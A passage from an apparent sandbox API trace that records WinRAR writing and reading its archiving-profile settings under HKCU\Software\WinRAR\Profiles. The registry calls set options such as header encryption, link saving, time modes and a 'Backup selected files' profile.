samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.214] RegSetValueExW (in: hKey=0x218, lpValueName="EncryptHeaders", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.214] RegCloseKey (hKey=0x218) returned 0x0 [0058.214] GetLastError () returned 0x0 [0058.214] SetLastError (dwErrCode=0x0) [0058.214] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.214] RegSetValueExW (in: hKey=0x218, lpValueName="ZipLegacyEncrypt", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.214] RegCloseKey (hKey=0x218) returned 0x0 [0058.214] GetLastError () returned 0x0 [0058.214] SetLastError (dwErrCode=0x0) [0058.214] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.214] RegSetValueExW (in: hKey=0x218, lpValueName="OpenShared", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.214] RegCloseKey (hKey=0x218) returned 0x0 [0058.214] GetLastError () returned 0x0 [0058.214] SetLastError (dwErrCode=0x0) [0058.214] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.214] RegSetValueExW (in: hKey=0x218, lpValueName="ProcessOwners", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.214] RegCloseKey (hKey=0x218) returned 0x0 [0058.214] GetLastError () returned 0x0 [0058.214] SetLastError (dwErrCode=0x0) [0058.214] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.214] RegSetValueExW (in: hKey=0x218, lpValueName="SaveStreams", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.215] RegCloseKey (hKey=0x218) returned 0x0 [0058.215] GetLastError () returned 0x0 [0058.215] SetLastError (dwErrCode=0x0) [0058.215] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.215] RegSetValueExW (in: hKey=0x218, lpValueName="SaveSymLinks", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.215] RegCloseKey (hKey=0x218) returned 0x0 [0058.215] GetLastError () returned 0x0 [0058.215] SetLastError (dwErrCode=0x0) [0058.215] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.215] RegSetValueExW (in: hKey=0x218, lpValueName="SaveHardLinks", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.215] RegCloseKey (hKey=0x218) returned 0x0 [0058.215] GetLastError () returned 0x0 [0058.215] SetLastError (dwErrCode=0x0) [0058.215] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.215] RegSetValueExW (in: hKey=0x218, lpValueName="GenerateArcName", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.215] RegCloseKey (hKey=0x218) returned 0x0 [0058.216] GetLastError () returned 0x0 [0058.216] SetLastError (dwErrCode=0x0) [0058.216] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.216] RegSetValueExW (in: hKey=0x218, lpValueName="VersionControl", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.216] RegCloseKey (hKey=0x218) returned 0x0 [0058.216] GetLastError () returned 0x0 [0058.216] SetLastError (dwErrCode=0x0) [0058.216] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.216] RegSetValueExW (in: hKey=0x218, lpValueName="BLAKE2", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.216] RegCloseKey (hKey=0x218) returned 0x0 [0058.216] GetLastError () returned 0x0 [0058.216] SetLastError (dwErrCode=0x0) [0058.216] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.216] RegSetValueExW (in: hKey=0x218, lpValueName="FileCopies", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.216] RegCloseKey (hKey=0x218) returned 0x0 [0058.216] GetLastError () returned 0x0 [0058.216] SetLastError (dwErrCode=0x0) [0058.216] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.217] RegSetValueExW (in: hKey=0x218, lpValueName="QuickOpen", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x1, cbData=0x4 | out: lpData=0xe414fb268*=0x1) returned 0x0 [0058.217] RegCloseKey (hKey=0x218) returned 0x0 [0058.217] GetLastError () returned 0x0 [0058.217] SetLastError (dwErrCode=0x0) [0058.217] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.217] RegSetValueExW (in: hKey=0x218, lpValueName="GenerateMask", Reserved=0x0, dwType=0x1, lpData="yyyymmddhhmmss", cbData=0x1e | out: lpData="yyyymmddhhmmss") returned 0x0 [0058.217] RegCloseKey (hKey=0x218) returned 0x0 [0058.217] GetLastError () returned 0x0 [0058.217] SetLastError (dwErrCode=0x0) [0058.217] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.217] RegSetValueExW (in: hKey=0x218, lpValueName="FileTimeMode", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.217] RegCloseKey (hKey=0x218) returned 0x0 [0058.217] GetLastError () returned 0x0 [0058.217] SetLastError (dwErrCode=0x0) [0058.217] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.217] RegSetValueExW (in: hKey=0x218, lpValueName="FileDays", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.217] RegCloseKey (hKey=0x218) returned 0x0 [0058.217] GetLastError () returned 0x0 [0058.217] SetLastError (dwErrCode=0x0) [0058.217] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.217] RegSetValueExW (in: hKey=0x218, lpValueName="FileHours", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.218] RegCloseKey (hKey=0x218) returned 0x0 [0058.218] GetLastError () returned 0x0 [0058.218] SetLastError (dwErrCode=0x0) [0058.218] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.218] RegSetValueExW (in: hKey=0x218, lpValueName="FileMinutes", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.218] RegCloseKey (hKey=0x218) returned 0x0 [0058.218] GetLastError () returned 0x0 [0058.218] SetLastError (dwErrCode=0x0) [0058.218] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.218] RegSetValueExW (in: hKey=0x218, lpValueName="FileTimeLimit", Reserved=0x0, dwType=0xb, lpData=0xe414fb268*=0x0, cbData=0x8 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.218] RegCloseKey (hKey=0x218) returned 0x0 [0058.218] GetLastError () returned 0x0 [0058.218] SetLastError (dwErrCode=0x0) [0058.218] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.218] RegSetValueExW (in: hKey=0x218, lpValueName="ArcTimeOriginal", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.218] RegCloseKey (hKey=0x218) returned 0x0 [0058.218] GetLastError () returned 0x0 [0058.218] SetLastError (dwErrCode=0x0) [0058.218] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.218] RegSetValueExW (in: hKey=0x218, lpValueName="ArcTimeLatest", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.218] RegCloseKey (hKey=0x218) returned 0x0 [0058.218] GetLastError () returned 0x0 [0058.218] SetLastError (dwErrCode=0x0) [0058.219] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.219] RegSetValueExW (in: hKey=0x218, lpValueName="mtime", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x4, cbData=0x4 | out: lpData=0xe414fb268*=0x4) returned 0x0 [0058.219] RegCloseKey (hKey=0x218) returned 0x0 [0058.219] GetLastError () returned 0x0 [0058.219] SetLastError (dwErrCode=0x0) [0058.219] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.219] RegSetValueExW (in: hKey=0x218, lpValueName="ctime", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.219] RegCloseKey (hKey=0x218) returned 0x0 [0058.219] GetLastError () returned 0x0 [0058.219] SetLastError (dwErrCode=0x0) [0058.219] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.219] RegSetValueExW (in: hKey=0x218, lpValueName="atime", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.219] RegCloseKey (hKey=0x218) returned 0x0 [0058.219] GetLastError () returned 0x0 [0058.219] SetLastError (dwErrCode=0x0) [0058.219] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.219] RegSetValueExW (in: hKey=0x218, lpValueName="PathsAbs", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.219] RegCloseKey (hKey=0x218) returned 0x0 [0058.219] GetLastError () returned 0x0 [0058.219] SetLastError (dwErrCode=0x0) [0058.219] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.219] RegSetValueExW (in: hKey=0x218, lpValueName="PathsNone", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.219] RegCloseKey (hKey=0x218) returned 0x0 [0058.220] GetLastError () returned 0x0 [0058.220] SetLastError (dwErrCode=0x0) [0058.220] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.220] RegSetValueExW (in: hKey=0x218, lpValueName="PathsAbsDrive", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.220] RegCloseKey (hKey=0x218) returned 0x0 [0058.220] GetLastError () returned 0x0 [0058.220] SetLastError (dwErrCode=0x0) [0058.220] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.220] RegSetValueExW (in: hKey=0x218, lpValueName="SeparateArc", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.220] RegCloseKey (hKey=0x218) returned 0x0 [0058.220] GetLastError () returned 0x0 [0058.220] SetLastError (dwErrCode=0x0) [0058.220] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.220] RegSetValueExW (in: hKey=0x218, lpValueName="SeparateArcDoubleExt", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.220] RegCloseKey (hKey=0x218) returned 0x0 [0058.220] GetLastError () returned 0x0 [0058.220] SetLastError (dwErrCode=0x0) [0058.220] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.220] RegSetValueExW (in: hKey=0x218, lpValueName="SeparateArcSubfolders", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.220] RegCloseKey (hKey=0x218) returned 0x0 [0058.221] GetLastError () returned 0x0 [0058.221] SetLastError (dwErrCode=0x0) [0058.221] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.221] RegSetValueExW (in: hKey=0x218, lpValueName="EmailArcTo", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0058.221] RegCloseKey (hKey=0x218) returned 0x0 [0058.221] GetLastError () returned 0x0 [0058.221] SetLastError (dwErrCode=0x0) [0058.221] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0xe414fad88, lpdwDisposition=0xe414fad80 | out: phkResult=0xe414fad88*=0x218, lpdwDisposition=0xe414fad80*=0x2) returned 0x0 [0058.221] RegSetValueExW (in: hKey=0x218, lpValueName="PackDetails", Reserved=0x0, dwType=0x3, lpData=0xe414fb2a0*, cbData=0xc0 | out: lpData=0xe414fb2a0*) returned 0x0 [0058.221] RegCloseKey (hKey=0x218) returned 0x0 [0058.221] GetCurrentProcess () returned 0xffffffffffffffff [0058.221] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0xe414fc8a0, lpSystemAffinityMask=0xe414fc8a8 | out: lpProcessAffinityMask=0xe414fc8a0, lpSystemAffinityMask=0xe414fc8a8) returned 1 [0058.221] GetCurrentProcess () returned 0xffffffffffffffff [0058.221] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0xe414fc900, lpSystemAffinityMask=0xe414fc908 | out: lpProcessAffinityMask=0xe414fc900, lpSystemAffinityMask=0xe414fc908) returned 1 [0058.221] GetLastError () returned 0x0 [0058.221] SetLastError (dwErrCode=0x0) [0058.221] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", ulOptions=0x0, samDesired=0x9, phkResult=0xe414fc4b0 | out: phkResult=0xe414fc4b0*=0x218) returned 0x0 [0058.221] RegQueryValueExW (in: hKey=0x218, lpValueName="SMP", lpReserved=0x0, lpType=0xe414fc914, lpData=0xe414fc910, lpcbData=0xe414fc948*=0x4 | out: lpType=0xe414fc914*=0x0, lpData=0xe414fc910*=0x1, lpcbData=0xe414fc948*=0x4) returned 0x2 [0058.221] RegCloseKey (hKey=0x218) returned 0x0 [0058.221] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x3f8, lpBuffer=0x7ff6f764fe30, cchBufferMax=512 | out: lpBuffer="Backup selected files") returned 0x15 [0058.221] GetLastError () returned 0x0 [0058.221] SetLastError (dwErrCode=0x0) [0058.221] GetLastError () returned 0x0 [0058.221] SetLastError (dwErrCode=0x0) [0058.222] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x1, phkResult=0xe414fa1c0 | out: phkResult=0xe414fa1c0*=0x218) returned 0x0 [0058.222] RegCloseKey (hKey=0x218) returned 0x0 [0058.222] GetLastError () returned 0x0 [0058.222] SetLastError (dwErrCode=0x0) [0058.222] GetLastError () returned 0x0 [0058.222] SetLastError (dwErrCode=0x0) [0058.222] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", ulOptions=0x0, samDesired=0x1, phkResult=0xe414fa1c0 | out: phkResult=0xe414fa1c0*=0x218) returned 0x0 [0058.222] RegCloseKey (hKey=0x218) returned 0x0 [0058.222] GetLastError () returned 0x0 [0058.222] SetLastError (dwErrCode=0x0) [0058.222] GetLastError () returned 0x0 [0058.222] SetLastError (dwErrCode=0x0) [0058.222] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", ulOptions=0x0, samDesired=0x1, phkResult=0xe414fa1c0 | out: phkResult=0xe414fa1c0*=0x0) returned 0x2 [0058.222] GetLastError () returned 0x0 [0058.222] SetLastError (dwErrCode=0x0) [0058.222] GetLastError () returned 0x0 [0058.222] SetLastError (dwErrCode=0x0) [0058.222] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414fa540 | out: phkResult=0xe414fa540*=0x218) returned 0x0 [0058.222] RegQueryValueExW (in: hKey=0x218, lpValueName="Name", lpReserved=0x0, lpType=0xe414fa9a4, lpData=0xe414fb510, lpcbData=0xe414fa9a0*=0x400 | out: lpType=0xe414fa9a4*=0x1, lpData="Default Profile", lpcbData=0xe414fa9a0*=0x20) returned 0x0 [0058.222] RegCloseKey (hKey=0x218) returned 0x0 [0058.222] GetLastError () returned 0x0 [0058.222] SetLastError (dwErrCode=0x0) [0058.222] GetLastError () returned 0x0 [0058.222] SetLastError (dwErrCode=0x0) [0058.222] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", ulOptions=0x0, samDesired=0x9, phkResult=0xe414fa540 | out: phkResult=0xe414fa540*=0x218) returned 0x0 [0058.222] RegQueryValueExW (in: hKey=0x218, lpValueName="Name", lpReserved=0x0, lpType=0xe414fa9a4, lpData=0xe414fb510, lpcbData=0xe414fa9a0*=0x400 | out: lpType=0xe414fa9a4*=0x1, lpData="Create e-mail attachment", lpcbData=0xe414fa9a0*=0x32) returned 0x0 [0058.222] RegCloseKey (hKey=0x218) returned 0x0 [0058.222] GetLastError () returned 0x0 [0058.222] SetLastError (dwErrCode=0x0) [0058.222] GetLastError () returned 0x0 [0058.223] SetLastError (dwErrCode=0x0) [0058.223] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x1) returned 0x0 [0058.223] RegSetValueExW (in: hKey=0x218, lpValueName="Name", Reserved=0x0, dwType=0x1, lpData="Backup selected files", cbData=0x2c | out: lpData="Backup selected files") returned 0x0 [0058.223] RegCloseKey (hKey=0x218) returned 0x0 [0058.223] GetLastError () returned 0x0 [0058.223] SetLastError (dwErrCode=0x0) [0058.223] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.223] RegSetValueExW (in: hKey=0x218, lpValueName="Default", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.223] RegCloseKey (hKey=0x218) returned 0x0 [0058.223] GetLastError () returned 0x0 [0058.223] SetLastError (dwErrCode=0x0) [0058.223] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", ulOptions=0x0, samDesired=0x20006, phkResult=0xe414fae10 | out: phkResult=0xe414fae10*=0x218) returned 0x0 [0058.223] RegDeleteValueW (hKey=0x218, lpValueName="ArcName") returned 0x2 [0058.223] RegCloseKey (hKey=0x218) returned 0x0 [0058.223] GetLastError () returned 0x0 [0058.223] SetLastError (dwErrCode=0x0) [0058.223] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", ulOptions=0x0, samDesired=0x20006, phkResult=0xe414fae10 | out: phkResult=0xe414fae10*=0x218) returned 0x0 [0058.223] RegDeleteValueW (hKey=0x218, lpValueName="FileNames") returned 0x2 [0058.223] RegCloseKey (hKey=0x218) returned 0x0 [0058.223] GetLastError () returned 0x0 